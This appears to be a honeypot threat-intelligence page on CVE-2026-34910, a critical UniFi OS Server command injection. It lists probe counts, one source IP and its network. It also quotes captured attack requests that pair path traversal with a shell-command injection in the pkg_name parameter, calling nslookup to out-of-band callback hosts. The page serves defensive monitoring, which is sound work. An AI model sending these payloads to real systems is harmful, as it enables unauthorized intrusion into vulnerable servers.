CVE-2026-34910: UniFi OS Server - Command Injection
HoneyLabs honeypots recorded 6 probes matching CVE-2026-34910 from 1 distinct source IP address in the last 7 days. Severity is rated critical.
This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2026-06-23.
Request paths that identify it
- /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+nslookup+{{*}}+%3b
Addresses probing it
| Source IP | Probes | Network | Country |
|---|---|---|---|
| 93.123.109.214 | 6 | Techoff Srv Limited | Bulgaria |
Networks it comes from
| ASN | Organisation | Probes | Source IPs |
|---|---|---|---|
| AS48090 | Techoff Srv Limited | 6 | 1 |
Where it comes from
| Country | Probes |
|---|---|
| Bulgaria | 6 |
Captured requests
- /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+nslookup+db5t5t5r4bop88fdlblgn8cw5gjifezih.oast.pro+%3b
- /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+nslookup+db4er2lr4boq567j5g5grt9eqcm6d9g3t.oast.site+%3b
- /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+nslookup+db55a55r4boh7qauocv0dxwz5bxje5ypt.oast.pro+%3b
- /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+nslookup+db6ju85r4boqct66i8b0tmf9no9wmizyb.oast.me+%3b
HTTP client fingerprints
- b11cun040_00040013_608dab68
CVE report
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